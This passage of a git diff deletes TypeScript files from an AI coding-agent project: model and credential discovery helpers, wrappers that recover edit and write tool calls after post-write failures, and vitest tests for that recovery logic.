"../plugins/provider-model-compat.js"; -import { - applyProviderResolvedModelCompatWithPlugins, - applyProviderResolvedTransportWithPlugin, - normalizeProviderResolvedModelWithPlugin, -} from "../plugins/provider-runtime.js"; -import { isRecord } from "../utils.js"; -import type { PiCredentialMap } from "./pi-auth-credentials.js"; -import { - resolvePiCredentialsForDiscovery, - scrubLegacyStaticAuthJsonEntriesForDiscovery, - type DiscoverAuthStorageOptions, -} from "./pi-auth-discovery.js"; -import { normalizeProviderId } from "./provider-id.js"; - -const PiAuthStorageClass = PiCodingAgent.AuthStorage; -const PiModelRegistryClass = PiCodingAgent.ModelRegistry; - -export { PiAuthStorageClass as AuthStorage, PiModelRegistryClass as ModelRegistry }; - -type ProviderRuntimeModelLike = Model & { - contextTokens?: number; -}; - -type DiscoveredProviderRuntimeModelLike = Omit & { - api?: string | null; -}; - -type DiscoverModelsOptions = { - providerFilter?: string; - normalizeModels?: boolean; -}; - -type InMemoryAuthStorageBackendLike = { - withLock( - update: (current: string) => { - result: T; - next?: string; - }, - ): T; -}; - -function createInMemoryAuthStorageBackend( - initialData: PiCredentialMap, -): InMemoryAuthStorageBackendLike { - let snapshot = JSON.stringify(initialData, null, 2); - return { - withLock( - update: (current: string) => { - result: T; - next?: string; - }, - ): T { - const { result, next } = update(snapshot); - if (typeof next === "string") { - snapshot = next; - } - return result; - }, - }; -} - -export function normalizeDiscoveredPiModel(value: T, agentDir: string): T { - if (!isRecord(value)) { - return value; - } - if ( - typeof value.id !== "string" || - typeof value.name !== "string" || - typeof value.provider !== "string" - ) { - return value; - } - const model = value as unknown as DiscoveredProviderRuntimeModelLike; - const pluginNormalized = - normalizeProviderResolvedModelWithPlugin({ - provider: model.provider, - context: { - provider: model.provider, - modelId: model.id, - model: model as unknown as ProviderRuntimeModelLike, - agentDir, - }, - }) ?? model; - const compatNormalized = - applyProviderResolvedModelCompatWithPlugins({ - provider: model.provider, - context: { - provider: model.provider, - modelId: model.id, - model: pluginNormalized as unknown as ProviderRuntimeModelLike, - agentDir, - }, - }) ?? pluginNormalized; - const transportNormalized = - applyProviderResolvedTransportWithPlugin({ - provider: model.provider, - context: { - provider: model.provider, - modelId: model.id, - model: compatNormalized as unknown as ProviderRuntimeModelLike, - agentDir, - }, - }) ?? compatNormalized; - if ( - !isRecord(transportNormalized) || - typeof transportNormalized.id !== "string" || - typeof transportNormalized.name !== "string" || - typeof transportNormalized.provider !== "string" || - typeof transportNormalized.api !== "string" - ) { - return value; - } - return normalizeModelCompat(transportNormalized as Model) as T; -} - -type PiModelRegistryClassLike = { - create?: (authStorage: PiAuthStorage, modelsJsonPath: string) => PiModelRegistry; - new (authStorage: PiAuthStorage, modelsJsonPath: string): PiModelRegistry; -}; - -function instantiatePiModelRegistry( - authStorage: PiAuthStorage, - modelsJsonPath: string, -): PiModelRegistry { - const Registry = PiModelRegistryClass as unknown as PiModelRegistryClassLike; - if (typeof Registry.create === "function") { - return Registry.create(authStorage, modelsJsonPath); - } - return new Registry(authStorage, modelsJsonPath); -} - -function createOpenClawModelRegistry( - authStorage: PiAuthStorage, - modelsJsonPath: string, - agentDir: string, - options?: DiscoverModelsOptions, -): PiModelRegistry { - const registry = instantiatePiModelRegistry(authStorage, modelsJsonPath); - const getAll = registry.getAll.bind(registry); - const getAvailable = registry.getAvailable.bind(registry); - const find = registry.find.bind(registry); - const refresh = registry.refresh.bind(registry); - const providerFilter = options?.providerFilter ? normalizeProviderId(options.providerFilter) : ""; - const matchesProviderFilter = (entry: Model) => - !providerFilter || normalizeProviderId(entry.provider) === providerFilter; - const shouldNormalize = options?.normalizeModels !== false; - const findCache = new Map | undefined>(); - const normalizeEntry = (entry: Model) => - shouldNormalize ? normalizeDiscoveredPiModel(entry, agentDir) : entry; - - registry.getAll = () => { - const entries = getAll().filter((entry: Model) => matchesProviderFilter(entry)); - return shouldNormalize - ? entries.map((entry: Model) => normalizeDiscoveredPiModel(entry, agentDir)) - : entries; - }; - registry.getAvailable = () => { - const entries = getAvailable().filter((entry: Model) => matchesProviderFilter(entry)); - return shouldNormalize - ? entries.map((entry: Model) => normalizeDiscoveredPiModel(entry, agentDir)) - : entries; - }; - registry.find = (provider: string, modelId: string) => { - const normalizedProvider = normalizeProviderId(provider); - const key = `${normalizedProvider}\0${modelId}`; - if (findCache.has(key)) { - return findCache.get(key); - } - const fallbackEntry = find(provider, modelId); - const resolved = fallbackEntry ? normalizeEntry(fallbackEntry) : undefined; - findCache.set(key, resolved); - return resolved; - }; - registry.refresh = () => { - findCache.clear(); - return refresh(); - }; - - return registry; -} - -function createAuthStorage(AuthStorageLike: unknown, path: string, creds: PiCredentialMap) { - const withInMemory = AuthStorageLike as { inMemory?: (data?: unknown) => unknown }; - if (typeof withInMemory.inMemory === "function") { - return withInMemory.inMemory(creds) as PiAuthStorage; - } - - const withFromStorage = AuthStorageLike as { - fromStorage?: (storage: unknown) => unknown; - }; - if (typeof withFromStorage.fromStorage === "function") { - const backendCtor = ( - PiCodingAgent as { InMemoryAuthStorageBackend?: new () => InMemoryAuthStorageBackendLike } - ).InMemoryAuthStorageBackend; - const backend = - typeof backendCtor === "function" - ? new backendCtor() - : createInMemoryAuthStorageBackend(creds); - backend.withLock(() => ({ - result: undefined, - next: JSON.stringify(creds, null, 2), - })); - return withFromStorage.fromStorage(backend) as PiAuthStorage; - } - - const withFactory = AuthStorageLike as { create?: (path: string) => unknown }; - const withRuntimeOverride = ( - typeof withFactory.create === "function" - ? withFactory.create(path) - : new (AuthStorageLike as { new (path: string): unknown })(path) - ) as PiAuthStorage & { - setRuntimeApiKey?: (provider: string, apiKey: string) => void; // pragma: allowlist secret - }; - const hasRuntimeApiKeyOverride = typeof withRuntimeOverride.setRuntimeApiKey === "function"; // pragma: allowlist secret - if (hasRuntimeApiKeyOverride) { - for (const [provider, credential] of Object.entries(creds)) { - if (credential.type === "api_key") { - withRuntimeOverride.setRuntimeApiKey(provider, credential.key); - continue; - } - withRuntimeOverride.setRuntimeApiKey(provider, credential.access); - } - } - return withRuntimeOverride; -} - -// Compatibility helpers for pi-coding-agent 0.50+ (discover* helpers removed). -export function discoverAuthStorage( - agentDir: string, - options?: DiscoverAuthStorageOptions, -): PiAuthStorage { - const credentials = - options?.skipCredentials === true ? {} : resolvePiCredentialsForDiscovery(agentDir, options); - const authPath = path.join(agentDir, "auth.json"); - if (options?.readOnly !== true) { - scrubLegacyStaticAuthJsonEntriesForDiscovery(authPath); - } - return createAuthStorage(PiAuthStorageClass, authPath, credentials); -} - -export function discoverModels( - authStorage: PiAuthStorage, - agentDir: string, - options?: DiscoverModelsOptions, -): PiModelRegistry { - return createOpenClawModelRegistry( - authStorage, - path.join(agentDir, "models.json"), - agentDir, - options, - ); -} - -export { - addEnvBackedPiCredentials, - resolvePiCredentialsForDiscovery, - scrubLegacyStaticAuthJsonEntriesForDiscovery, - type DiscoverAuthStorageOptions, -} from "./pi-auth-discovery.js"; diff --git a/src/agents/pi-tools.host-edit.ts b/src/agents/pi-tools.host-edit.ts deleted file mode 100644 index d66a338b5c6..00000000000 --- a/src/agents/pi-tools.host-edit.ts +++ /dev/null @@ -1,417 +0,0 @@ -import path from "node:path"; -import { fileURLToPath } from "node:url"; -import type { AgentToolResult, AgentToolUpdateCallback } from "@earendil-works/pi-agent-core"; -import { expandHomePrefix, resolveOsHomeDir } from "../infra/home-dir.js"; -import { getToolParamsRecord } from "./pi-tools.params.js"; -import type { AnyAgentTool } from "./pi-tools.types.js"; - -type EditToolRecoveryOptions = { - root: string; - readFile: (absolutePath: string) => Promise; -}; - -type WriteToolRecoveryOptions = { - root: string; - readFile: (absolutePath: string) => Promise; - statFile?: (absolutePath: string) => Promise; -}; - -type WriteToolParams = { - pathParam?: string; - content?: string; -}; - -type WriteToolFileStat = { - type: "file" | "directory" | "other"; - size: number; - mtimeMs?: number; -}; - -type WriteToolOriginalState = "different" | "same" | "unknown"; - -type WriteToolPrecheck = { - state: WriteToolOriginalState; - beforeStat?: WriteToolFileStat | null; -}; - -type EditToolParams = { - pathParam?: string; - edits: EditReplacement[]; -}; - -type EditReplacement = { - oldText: string; - newText: string; -}; - -const EDIT_MISMATCH_MESSAGE = "Could not find the exact text in"; -const EDIT_MISMATCH_HINT_LIMIT = 800; -const WRITE_PRECHECK_READ_LIMIT_BYTES = 1024 * 1024; -const UNICODE_SPACES = /[\u00A0\u2000-\u200A\u202F\u205F\u3000]/g; - -function normalizeMutationPathLikeUpstreamWrite(pathParam: string): string { - let normalized = pathParam.replace(UNICODE_SPACES, " "); - if (normalized.startsWith("@")) { - normalized = normalized.slice(1); - } - const home = resolveOsHomeDir(); - const expanded = home ? expandHomePrefix(normalized, { home }) : normalized; - if (expanded.startsWith("file://")) { - try { - return fileURLToPath(expanded); - } catch { - return expanded; - } - } - return expanded; -} - -function resolveFileMutationPath(root: string, pathParam: string): string { - const expanded = normalizeMutationPathLikeUpstreamWrite(pathParam); - return path.isAbsolute(expanded) ? path.resolve(expanded) : path.resolve(root, expanded); -} - -function readStringParam(record: Record | undefined, ...keys: string[]) { - for (const key of keys) { - const value = record?.[key]; - if (typeof value === "string") { - return value; - } - } - return undefined; -} - -function readEditReplacements(record: Record | undefined): EditReplacement[] { - if (!Array.isArray(record?.edits)) { - return []; - } - return record.edits.flatMap((entry) => { - if (!entry || typeof entry !== "object") { - return []; - } - const replacement = entry as Record; - if (typeof replacement.oldText !== "string" || replacement.oldText.trim().length === 0) { - return []; - } - if (typeof replacement.newText !== "string") { - return []; - } - return [{ oldText: replacement.oldText, newText: replacement.newText }]; - }); -} - -function readWriteToolParams(params: unknown): WriteToolParams { - const record = getToolParamsRecord(params); - return { - pathParam: readStringParam(record, "path", "file_path", "filePath", "filepath", "file"), - content: typeof record?.content === "string" ? record.content : undefined, - }; -} - -function readEditToolParams(params: unknown): EditToolParams { - const record = getToolParamsRecord(params); - return { - pathParam: readStringParam(record, "path", "file_path", "filePath", "filepath", "file"), - edits: readEditReplacements(record), - }; -} - -function normalizeToLF(value: string): string { - return value.replace(/\r\n?/g, "\n"); -} - -function removeExactOccurrences(content: string, needle: string): string { - return needle.length > 0 ? content.split(needle).join("") : content; -} - -function didEditLikelyApply(params: { - originalContent?: string; - currentContent: string; - edits: EditReplacement[]; -}) { - if (params.edits.length === 0) { - return false; - } - const normalizedCurrent = normalizeToLF(params.currentContent); - const normalizedOriginal = - typeof params.originalContent === "string" ? normalizeToLF(params.originalContent) : undefined; - - if (normalizedOriginal !== undefined && normalizedOriginal === normalizedCurrent) { - return false; - } - - let withoutInsertedNewText = normalizedCurrent; - for (const edit of params.edits) { - const normalizedNew = normalizeToLF(edit.newText); - if (normalizedNew.length > 0 && !normalizedCurrent.includes(normalizedNew)) { - return false; - } - withoutInsertedNewText = - normalizedNew.length > 0 - ? removeExactOccurrences(withoutInsertedNewText, normalizedNew) - : withoutInsertedNewText; - } - - for (const edit of params.edits) { - const normalizedOld = normalizeToLF(edit.oldText); - if (withoutInsertedNewText.includes(normalizedOld)) { - return false; - } - } - - return true; -} - -function buildEditSuccessResult(pathParam: string, editCount: number): AgentToolResult { - const text = - editCount > 1 - ? `Successfully replaced ${editCount} block(s) in ${pathParam}.` - : `Successfully replaced text in ${pathParam}.`; - return { - isError: false, - content: [ - { - type: "text", - text, - }, - ], - details: { diff: "", firstChangedLine: undefined }, - } as AgentToolResult; -} - -function buildWriteSuccessResult(pathParam: string, content: string): AgentToolResult { - return { - isError: false, - content: [ - { - type: "text", - text: `Successfully wrote ${content.length} bytes to ${pathParam}`, - }, - ], - details: undefined, - } as AgentToolResult; -} - -function shouldAddMismatchHint(error: unknown) { - return error instanceof Error && error.message.includes(EDIT_MISMATCH_MESSAGE); -} - -function appendMismatchHint(error: Error, currentContent: string): Error { - const snippet = - currentContent.length <= EDIT_MISMATCH_HINT_LIMIT - ? currentContent - : `${currentContent.slice(0, EDIT_MISMATCH_HINT_LIMIT)}\n... (truncated)`; - const enhanced = new Error(`${error.message}\nCurrent file contents:\n${snippet}`); - enhanced.stack = error.stack; - return enhanced; -} - -function isWriteRecoveryCandidate(error: unknown, signal: AbortSignal | undefined): boolean { - if (signal?.aborted) { - return true; - } - if (!(error instanceof Error)) { - return false; - } - const message = error.message.toLowerCase(); - return ( - error.name === "AbortError" || - error.name === "TimeoutError" || - message.includes("timed out") || - message.includes("timeout") - ); -} - -function isMissingFileError(error: unknown): boolean { - if (!error || typeof error !== "object") { - return false; - } - if ("code" in error && (error as { code?: unknown }).code === "ENOENT") { - return true; - } - return error instanceof Error && error.message.includes("No such file or directory"); -} - -async function readOriginalWriteState( - absolutePath: string, - content: string, - options: WriteToolRecoveryOptions, -): Promise { - if (!options.statFile) { - return { state: "unknown" }; - } - const contentBytes = Buffer.byteLength(content, "utf8"); - let stat: WriteToolFileStat | null; - try { - stat = await options.statFile(absolutePath); - } catch (err) { - return { state: isMissingFileError(err) ? "different" : "unknown" }; - } - if (!stat) { - return { state: "different", beforeStat: stat }; - } - if (stat.type !== "file") { - return { state: "unknown", beforeStat: stat }; - } - if (stat.size !== contentBytes) { - return { state: "different", beforeStat: stat }; - } - if (stat.size > WRITE_PRECHECK_READ_LIMIT_BYTES) { - return { state: "unknown", beforeStat: stat }; - } - - try { - const originalContent = await options.readFile(absolutePath); - return { state: originalContent === content ? "same" : "different", beforeStat: stat }; - } catch { - return { state: "unknown", beforeStat: stat }; - } -} - -async function didWriteMetadataChange( - absolutePath: string, - beforeStat: WriteToolFileStat | null | undefined, - options: WriteToolRecoveryOptions, -): Promise { - if (!beforeStat || !options.statFile) { - return false; - } - let afterStat: WriteToolFileStat | null; - try { - afterStat = await options.statFile(absolutePath); - } catch { - return false; - } - if (!afterStat || afterStat.type !== "file") { - return false; - } - return afterStat.size !== beforeStat.size || afterStat.mtimeMs !== beforeStat.mtimeMs; -} - -/** - * Recover from two edit-tool failure classes without changing edit semantics: - * - exact-match mismatch errors become actionable by including current file contents - * - post-write throws are converted back to success only if the file actually changed - */ -export function wrapEditToolWithRecovery( - base: AnyAgentTool, - options: EditToolRecoveryOptions, -): AnyAgentTool { - return { - ...base, - execute: async ( - toolCallId: string, - params: unknown, - signal: AbortSignal | undefined, - onUpdate?: AgentToolUpdateCallback, - ) => { - const { pathParam, edits } = readEditToolParams(params); - const absolutePath = - typeof pathParam === "string" - ? resolveFileMutationPath(options.root, pathParam) - : undefined; - let originalContent: string | undefined; - - if (absolutePath && edits.length > 0) { - try { - originalContent = await options.readFile(absolutePath); - } catch { - // Best-effort snapshot only; recovery should still proceed without it. - } - } - - try { - return await base.execute(toolCallId, params, signal, onUpdate); - } catch (err) { - if (!absolutePath) { - throw err; - } - - let currentContent: string | undefined; - try { - currentContent = await options.readFile(absolutePath); - } catch { - // Fall through to the original error if readback fails. - } - - if (typeof currentContent === "string" && edits.length > 0) { - if ( - didEditLikelyApply({ - originalContent, - currentContent, - edits, - }) - ) { - return buildEditSuccessResult(pathParam ?? absolutePath, edits.length); - } - } - - if ( - typeof currentContent === "string" && - err instanceof Error && - shouldAddMismatchHint(err) - ) { - throw appendMismatchHint(err, currentContent); - } - - throw err; - } - }, - }; -} - -/** - * Recover write calls that complete the disk write but abort before returning. - * Readback is the source of truth; argument-derived paths never prove success. - */ -export function wrapWriteToolWithRecovery( - base: AnyAgentTool, - options: WriteToolRecoveryOptions, -): AnyAgentTool { - return { - ...base, - execute: async ( - toolCallId: string, - params: unknown, - signal: AbortSignal | undefined, - onUpdate?: AgentToolUpdateCallback, - ) => { - const { pathParam, content } = readWriteToolParams(params); - const absolutePath = - typeof pathParam === "string" && typeof content === "string" - ? resolveFileMutationPath(options.root, pathParam) - : undefined; - const precheck: WriteToolPrecheck = - absolutePath && typeof content === "string" - ? await readOriginalWriteState(absolutePath, content, options) - : { state: "unknown" }; - - try { - return await base.execute(toolCallId, params, signal, onUpdate); - } catch (err) { - if ( - !isWriteRecoveryCandidate(err, signal) || - typeof absolutePath !== "string" || - typeof pathParam !== "string" || - typeof content !== "string" - ) { - throw err; - } - let currentContent: string | undefined; - try { - currentContent = await options.readFile(absolutePath); - } catch { - // Fall through to the original abort if readback fails. - } - const changed = - precheck.state === "different" || - (precheck.state === "unknown" && - (await didWriteMetadataChange(absolutePath, precheck.beforeStat, options))); - if (currentContent === content && changed) { - return buildWriteSuccessResult(pathParam, content); - } - throw err; - } - }, - }; -} diff --git a/src/agents/pi-tools.read.host-edit-recovery.test.ts b/src/agents/pi-tools.read.host-edit-recovery.test.ts deleted file mode 100644 index 8f4059321f4..00000000000 --- a/src/agents/pi-tools.read.host-edit-recovery.test.ts +++ /dev/null @@ -1,628 +0,0 @@ -import fs from "node:fs/promises"; -import os from "node:os"; -import path from "node:path"; -import { pathToFileURL } from "node:url"; -import type { AgentToolResult } from "@earendil-works/pi-agent-core"; -import { afterEach, describe, expect, it, vi } from "vitest"; -import { wrapEditToolWithRecovery, wrapWriteToolWithRecovery } from "./pi-tools.host-edit.js"; -import type { AnyAgentTool } from "./pi-tools.types.js"; -import type { SandboxFsBridge, SandboxFsStat } from "./sandbox/fs-bridge.js"; - -function createInMemoryBridge(root: string, files: Map): SandboxFsBridge { - const resolveAbsolute = (filePath: string, cwd?: string) => - path.isAbsolute(filePath) ? path.resolve(filePath) : path.resolve(cwd ?? root, filePath); - - const readStat = (absolutePath: string): SandboxFsStat | null => { - const content = files.get(absolutePath); - if (typeof content !== "string") { - return null; - } - return { - type: "file", - size: Buffer.byteLength(content, "utf8"), - mtimeMs: 0, - }; - }; - - return { - resolvePath: ({ filePath, cwd }) => { - const absolutePath = resolveAbsolute(filePath, cwd); - return { - hostPath: absolutePath, - relativePath: path.relative(root, absolutePath), - containerPath: absolutePath, - }; - }, - readFile: async ({ filePath, cwd }) => { - const absolutePath = resolveAbsolute(filePath, cwd); - const content = files.get(absolutePath); - if (typeof content !== "string") { - throw new Error(`ENOENT: ${absolutePath}`); - } - return Buffer.from(content, "utf8"); - }, - writeFile: async ({ filePath, cwd, data }) => { - const absolutePath = resolveAbsolute(filePath, cwd); - files.set(absolutePath, typeof data === "string" ? data : Buffer.from(data).toString("utf8")); - }, - mkdirp: async () => {}, - remove: async ({ filePath, cwd }) => { - files.delete(resolveAbsolute(filePath, cwd)); - }, - rename: async ({ from, to, cwd }) => { - const fromPath = resolveAbsolute(from, cwd); - const toPath = resolveAbsolute(to, cwd); - const content = files.get(fromPath); - if (typeof content !== "string") { - throw new Error(`ENOENT: ${fromPath}`); - } - files.set(toPath, content); - files.delete(fromPath); - }, - stat: async ({ filePath, cwd }) => readStat(resolveAbsolute(filePath, cwd)), - }; -} - -describe("edit tool recovery hardening", () => { - let tmpDir = ""; - - afterEach(async () => { - if (tmpDir) { - await fs.rm(tmpDir, { recursive: true, force: true }); - tmpDir = ""; - } - }); - - function createRecoveredEditTool(params: { - root: string; - readFile: (absolutePath: string) => Promise; - execute: AnyAgentTool["execute"]; - }) { - const base = { - name: "edit", - execute: params.execute, - } as unknown as AnyAgentTool; - return wrapEditToolWithRecovery(base, { - root: params.root, - readFile: params.readFile, - }); - } - - function expectRecoveredText(result: Awaited>, text: string) { - expect((result as { isError?: unknown }).isError).toBe(false); - const first = result.content[0]; - expect(first?.type).toBe("text"); - expect(first?.type === "text" ? first.text : undefined).toBe(text); - } - - async function expectPathMissing(targetPath: string) { - try { - await fs.access(targetPath); - throw new Error(`expected ${targetPath} to be missing`); - } catch (error) { - const code = error && typeof error === "object" && "code" in error ? error.code : undefined; - expect(code).toBe("ENOENT"); - } - } - - it("adds current file contents to exact-match mismatch errors", async () => { - tmpDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-edit-recovery-")); - const filePath = path.join(tmpDir, "demo.txt"); - await fs.writeFile(filePath, "actual current content", "utf-8"); - - const tool = createRecoveredEditTool({ - root: tmpDir, - readFile: (absolutePath) => fs.readFile(absolutePath, "utf-8"), - execute: async () => { - throw new Error( - "Could not find the exact text in demo.txt. The old text must match exactly including all whitespace and newlines.", - ); - }, - }); - await expect( - tool.execute( - "call-1", - { path: filePath, edits: [{ oldText: "missing", newText: "replacement" }] }, - undefined, - ), - ).rejects.toThrow(/Current file contents:\nactual current content/); - }); - - it("recovers success after a post-write throw when CRLF output contains newText and oldText is only a substring", async () => { - tmpDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-edit-recovery-")); - const filePath = path.join(tmpDir, "demo.txt"); - await fs.writeFile(filePath, 'const value = "foo";\r\n', "utf-8"); - - const tool = createRecoveredEditTool({ - root: tmpDir, - readFile: (absolutePath) => fs.readFile(absolutePath, "utf-8"), - execute: async () => { - await fs.writeFile(filePath, 'const value = "foobar";\r\n', "utf-8"); - throw new Error("Simulated post-write failure (e.g. generateDiffString)"); - }, - }); - const result = await tool.execute( - "call-1", - { - path: filePath, - edits: [ - { - oldText: 'const value = "foo";\n', - newText: 'const value = "foobar";\n', - }, - ], - }, - undefined, - ); - - expectRecoveredText(result, `Successfully replaced text in ${filePath}.`); - }); - - it("recovers post-write failures when edit calls use file_path", async () => { - tmpDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-edit-recovery-")); - const workspaceDir = path.join(tmpDir, ".openclaw", "workspace"); - await fs.mkdir(workspaceDir, { recursive: true }); - const filePath = path.join(workspaceDir, "AGENTS.md"); - await fs.writeFile(filePath, "# Agent\nold instruction\n", "utf-8"); - - const tool = createRecoveredEditTool({ - root: tmpDir, - readFile: (absolutePath) => fs.readFile(absolutePath, "utf-8"), - execute: async () => { - await fs.writeFile(filePath, "# Agent\nnew instruction\n", "utf-8"); - throw new Error("Simulated post-write failure (e.g. generateDiffString)"); - }, - }); - const result = await tool.execute( - "call-1", - { - file_path: filePath, - edits: [{ oldText: "old instruction", newText: "new instruction" }], - }, - undefined, - ); - - expectRecoveredText(result, `Successfully replaced text in ${filePath}.`); - }); - - it("does not recover false success when the file never changed", async () => { - tmpDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-edit-recovery-")); - const filePath = path.join(tmpDir, "demo.txt"); - await fs.writeFile(filePath, "replacement already present", "utf-8"); - - const tool = createRecoveredEditTool({ - root: tmpDir, - readFile: (absolutePath) => fs.readFile(absolutePath, "utf-8"), - execute: async () => { - throw new Error("Simulated post-write failure (e.g. generateDiffString)"); - }, - }); - await expect( - tool.execute( - "call-1", - { - path: filePath, - edits: [{ oldText: "missing", newText: "replacement already present" }], - }, - undefined, - ), - ).rejects.toThrow("Simulated post-write failure"); - }); - - it("recovers deletion edits when the file changed and oldText is gone", async () => { - tmpDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-edit-recovery-")); - const filePath = path.join(tmpDir, "demo.txt"); - await fs.writeFile(filePath, "before delete me after\n", "utf-8"); - - const tool = createRecoveredEditTool({ - root: tmpDir, - readFile: (absolutePath) => fs.readFile(absolutePath, "utf-8"), - execute: async () => { - await fs.writeFile(filePath, "before after\n", "utf-8"); - throw new Error("Simulated post-write failure (e.g. generateDiffString)"); - }, - }); - const result = await tool.execute( - "call-1", - { path: filePath, edits: [{ oldText: "delete me", newText: "" }] }, - undefined, - ); - - expectRecoveredText(result, `Successfully replaced text in ${filePath}.`); - }); - - it("recovers multi-edit payloads after a post-write throw", async () => { - tmpDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-edit-recovery-")); - const filePath = path.join(tmpDir, "demo.txt"); - await fs.writeFile(filePath, "alpha beta gamma delta\n", "utf-8"); - - const tool = createRecoveredEditTool({ - root: tmpDir, - readFile: (absolutePath) => fs.readFile(absolutePath, "utf-8"), - execute: async () => { - await fs.writeFile(filePath, "ALPHA beta gamma DELTA\n", "utf-8"); - throw new Error("Simulated post-write failure (e.g. generateDiffString)"); - }, - }); - const result = await tool.execute( - "call-1", - { - path: filePath, - edits: [ - { oldText: "alpha", newText: "ALPHA" }, - { oldText: "delta", newText: "DELTA" }, - ], - }, - undefined, - ); - - expectRecoveredText(result, `Successfully replaced 2 block(s) in ${filePath}.`); - }); - - it("recovers tilde paths against the OS home even when OPENCLAW_HOME differs", async () => { - tmpDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-edit-recovery-")); - const osHome = path.join(tmpDir, "home"); - const openclawHome = path.join(tmpDir, "openclaw-home"); - await fs.mkdir(osHome, { recursive: true }); - await fs.mkdir(openclawHome, { recursive: true }); - - const previousHome = process.env.HOME; - const previousUserProfile = process.env.USERPROFILE; - const previousOpenclawHome = process.env.OPENCLAW_HOME; - process.env.HOME = osHome; - process.env.USERPROFILE = osHome; - process.env.OPENCLAW_HOME = openclawHome; - - try { - const filePath = path.join(osHome, "demo.txt"); - await fs.writeFile(filePath, "before old text after\n", "utf-8"); - - const tool = createRecoveredEditTool({ - root: tmpDir, - readFile: (absolutePath) => fs.readFile(absolutePath, "utf-8"), - execute: async () => { - await fs.writeFile(filePath, "before new text after\n", "utf-8"); - throw new Error("Simulated post-write failure (e.g. generateDiffString)"); - }, - }); - const result = await tool.execute( - "call-1", - { path: "~/demo.txt", edits: [{ oldText: "old text", newText: "new text" }] }, - undefined, - ); - - expectRecoveredText(result, "Successfully replaced text in ~/demo.txt."); - await expectPathMissing(path.join(openclawHome, "demo.txt")); - } finally { - if (previousHome === undefined) { - delete process.env.HOME; - } else { - process.env.HOME = previousHome; - } - if (previousUserProfile === undefined) { - delete process.env.USERPROFILE; - } else { - process.env.USERPROFILE = previousUserProfile; - } - if (previousOpenclawHome === undefined) { - delete process.env.OPENCLAW_HOME; - } else { - process.env.OPENCLAW_HOME = previousOpenclawHome; - } - } - }); - - it("applies the same recovery path to sandboxed edit tools", async () => { - tmpDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-edit-recovery-")); - const filePath = path.join(tmpDir, "demo.txt"); - const files = new Map([[filePath, "before old text after\n"]]); - - const bridge = createInMemoryBridge(tmpDir, files); - const tool = createRecoveredEditTool({ - root: tmpDir, - readFile: async (absolutePath: string) => - (await bridge.readFile({ filePath: absolutePath, cwd: tmpDir })).toString("utf8"), - execute: async () => { - files.set(filePath, "before new text after\n"); - throw new Error("Simulated post-write failure (e.g. generateDiffString)"); - }, - }); - const result = await tool.execute( - "call-1", - { path: filePath, edits: [{ oldText: "old text", newText: "new text" }] }, - undefined, - ); - - expectRecoveredText(result, `Successfully replaced text in ${filePath}.`); - }); -}); - -describe("write tool recovery hardening", () => { - let tmpDir = ""; - - afterEach(async () => { - if (tmpDir) { - await fs.rm(tmpDir, { recursive: true, force: true }); - tmpDir = ""; - } - }); - - function createRecoveredWriteTool(params: { - root: string; - readFile: (absolutePath: string) => Promise; - statFile?: Parameters[1]["statFile"]; - execute: AnyAgentTool["execute"]; - }) { - const base = { - name: "write", - execute: params.execute, - } as unknown as AnyAgentTool; - return wrapWriteToolWithRecovery(base, { - root: params.root, - readFile: params.readFile, - statFile: - params.statFile ?? - (async (absolutePath) => { - try { - const stat = await fs.stat(absolutePath); - return { - type: stat.isFile() ? "file" : stat.isDirectory() ? "directory" : "other", - size: stat.size, - mtimeMs: stat.mtimeMs, - }; - } catch (err) { - if ( - err && - typeof err === "object" && - "code" in err && - (err as { code?: unknown }).code === "ENOENT" - ) { - return null; - } - throw err; - } - }), - }); - } - - it("recovers success after a post-write abort when readback matches requested content", async () => { - tmpDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-write-recovery-")); - const filePath = path.join(tmpDir, "demo.txt"); - const controller = new AbortController(); - - const tool = createRecoveredWriteTool({ - root: tmpDir, - readFile: (absolutePath) => fs.readFile(absolutePath, "utf-8"), - execute: async (_toolCallId, params) => { - const record = params as { path: string; content: string }; - await fs.writeFile(record.path, record.content, "utf-8"); - controller.abort(); - throw new Error("Operation aborted"); - }, - }); - const result = await tool.execute( - "call-1", - { path: filePath, content: "finished\n" }, - controller.signal, - ); - - expect((result as { isError?: unknown }).isError).toBe(false); - expect(result.content[0]).toEqual({ - type: "text", - text: `Successfully wrote ${"finished\n".length} bytes to ${filePath}`, - }); - }); - - it("keeps the original abort when readback does not match requested content", async () => { - tmpDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-write-recovery-")); - const filePath = path.join(tmpDir, "demo.txt"); - const controller = new AbortController(); - - const tool = createRecoveredWriteTool({ - root: tmpDir, - readFile: (absolutePath) => fs.readFile(absolutePath, "utf-8"), - execute: async () => { - await fs.writeFile(filePath, "partial\n", "utf-8"); - controller.abort(); - throw new Error("Operation aborted"); - }, - }); - - await expect( - tool.execute("call-1", { path: filePath, content: "finished\n" }, controller.signal), - ).rejects.toThrow("Operation aborted"); - }); - - it("keeps the original abort when the file already matched before execution", async () => { - tmpDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-write-recovery-")); - const filePath = path.join(tmpDir, "demo.txt"); - await fs.writeFile(filePath, "finished\n", "utf-8"); - const controller = new AbortController(); - controller.abort(); - - const tool = createRecoveredWriteTool({ - root: tmpDir, - readFile: (absolutePath) => fs.readFile(absolutePath, "utf-8"), - execute: async () => { - throw new Error("Operation aborted"); - }, - }); - - await expect( - tool.execute("call-1", { path: filePath, content: "finished\n" }, controller.signal), - ).rejects.toThrow("Operation aborted"); - }); - - it("does not pre-read large same-size files on successful writes", async () => { - tmpDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-write-recovery-")); - const filePath = path.join(tmpDir, "large.txt"); - const content = "x".repeat(1024 * 1024 + 1); - const readFile = vi.fn(async () => { - throw new Error("readFile should not run on the success path"); - }); - - const tool = createRecoveredWriteTool({ - root: tmpDir, - readFile, - statFile: async () => ({ type: "file", size: Buffer.byteLength(content, "utf8") }), - execute: async () => - ({ - isError: false, - content: [{ type: "text", text: "ok" }], - details: undefined, - }) as AgentToolResult, - }); - - const result = await tool.execute("call-1", { path: filePath, content }, undefined); - - 